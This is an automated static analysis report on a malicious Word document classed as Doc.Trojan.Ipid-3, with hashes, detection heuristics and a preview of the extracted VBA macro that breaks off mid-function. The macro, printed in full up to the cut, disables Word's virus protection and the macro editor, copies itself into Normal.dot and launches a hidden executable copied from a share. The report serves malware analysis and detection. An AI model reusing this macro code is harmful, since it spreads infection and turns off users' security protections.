Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0cf40dbfcfd8e992…

MALICIOUS

Office (OLE)

43.0 KB Created: 2001-04-10 11:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 66a89666aeef6c2864fce6cda17ff5c1 SHA-1: 3cbc0c2a9d2653c863d36463ecea170f87def2e1 SHA-256: 0cf40dbfcfd8e992d9bcbdca55b67229d0cf427dc244450e1f60571cdba20e33
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros with an autoopen subroutine that attempts to disable security features and execute a secondary payload. The macro constructs the string '\esd\e$\cp\ipi\d.exe' which is likely the path for a downloaded executable. ClamAV detections further confirm the malicious nature of the file.

Heuristics 8

  • ClamAV: Doc.Trojan.Ipid-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ipid-3
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 44,032 bytes but its declared streams total only 22,775 bytes — 21,257 bytes (48%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4118 bytes
SHA-256: 166a7335d099fcbcb6594af7463dc1add4e747a1e4aeac2ba287253e4cedfda8
Detection
ClamAV: Doc.Trojan.Ipid-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "e"
Sub autoopen()
pri
End Sub
Function pri()
On Error Resume Next
Dim r1, w1, r2, r3, r4, r5, r6, p1, d1, d2, d3, e1, e2, e3, e4, e5, e6, e7, i, bar
r6 = "d.exe"
For i = 1 To Application.VBE.Windows.Count
Application.VBE.Windows(i).Visible = False
Next
i = 0
For Each bar In Application.VBE.CommandBars
i = i + 1
Application.VBE.CommandBars(i).Protection = 0
Application.VBE.CommandBars(i).Enabled = True
Next
r1 = "\\es"
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
FindKey(KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
Options.VirusProtection = False
r4 = "d\e$"
CommandBars(33).Controls("exibir").Controls("barras de ferramentas").Enabled = True
CommandBars(33).Controls("Ferramentas").Controls("opções...").Enabled = False
r3 = "cp"
CommandBars(33).Controls("Ferramentas").Controls("personalizar...").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("macros...").Enabled = False
r2 = "m-"
CommandBars(33).Controls("Ferramentas").Controls("Macro").Controls("Editor do Visual Basic").Enabled = False
CommandBars(33).Controls("Ferramentas").Controls("Macro").Enabled = False
r5 = "\ipi"
i = 0
For Each bar In CommandBars
i = i + 1
If (bar.NameLocal = "Visual Basic") Or (bar.NameLocal = "Caixa de ferram. de controle") Then
CommandBars(i).Protection = 1
CommandBars(i).Enabled = False
Else
CommandBars(i).Protection = 1
CommandBars(i).Enabled = True
End If
Next
p1 = r1 + r2 + r3 + r4 + r5 + r6
   e1 = ActiveDocument.VBProject.VBComponents.Count
   If e1 >= 1 Then
      If e1 >= 2 Then
          e3 = ActiveDocument.VBProject.VBComponents(2).Name
          e7 = NormalTemplate.VBProject.VBComponents(2).Name
          If MacroContainer = ActiveDocument.Name Then
             d1 = ActiveDocument.FullName
             d2 = NormalTemplate.FullName
             e5 = NormalTemplate.VBProject.VBComponents.Count
              If e5 >= 1 Then
                  If e5 >= 2 Then
                         If e7 < e3 Then copyi
                         If e7 > e3 Then copyma
                         If e7 = e3 Then End
                         FileCopy p1, "c:\windows\ipid.exe"
                         Shell "c:\windows\ipid.exe", 0
                         End
                 End If 'rodando no ativo sem modulo no normal
                        Application.OrganizerCopy d1, d2, e3, wdOrganizerObjectProjectItems
                        Application.NormalTemplate.Save
                        FileCopy p1, "c:\windows\ipid.exe"
                        Shell "c:\windows\ipid.exe", 0
                        End
              End If
          End If 'rodando no normal.dot
           If e7 < e3 Then copyi
           If e7 > e3 Then copyma
           If e7 = e3 Then End
           FileCopy p1, "c:\windows\ipid.exe"
           Shell "c:\windows\ipid.exe", 0
           End
       End If 'rodando no normal sem modulo no proj
          If e7 < e3 Then copyi
          If e7 > e3 Then copyi
          If e7 = e3 Then copyma
          FileCopy p1, "c:\windows\ipid.exe"
          Shell "c:\windows\ipid.exe", 0
          End
End If
End Function
Function copyi()
On Error Resume Next
Application.OrganizerDelete NormalTemplate.FullName, NormalTemplate.VBProject.VBComponents(2).Name, 3
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, ActiveDocument.VBProject.VBComponents(2).Name, 3
Application.NormalTemplate.Save
End Function
Function copyma()
On Error Resume Next
Application.OrganizerDelete ActiveDocument.FullName, ActiveDocument.VBProject.VBComponents(2).Name, 3
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, NormalTemplate.VBProject.VBComponents(2).Name, 3
Application.ActiveDocument.Save
End Function
Sub autoclose(
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.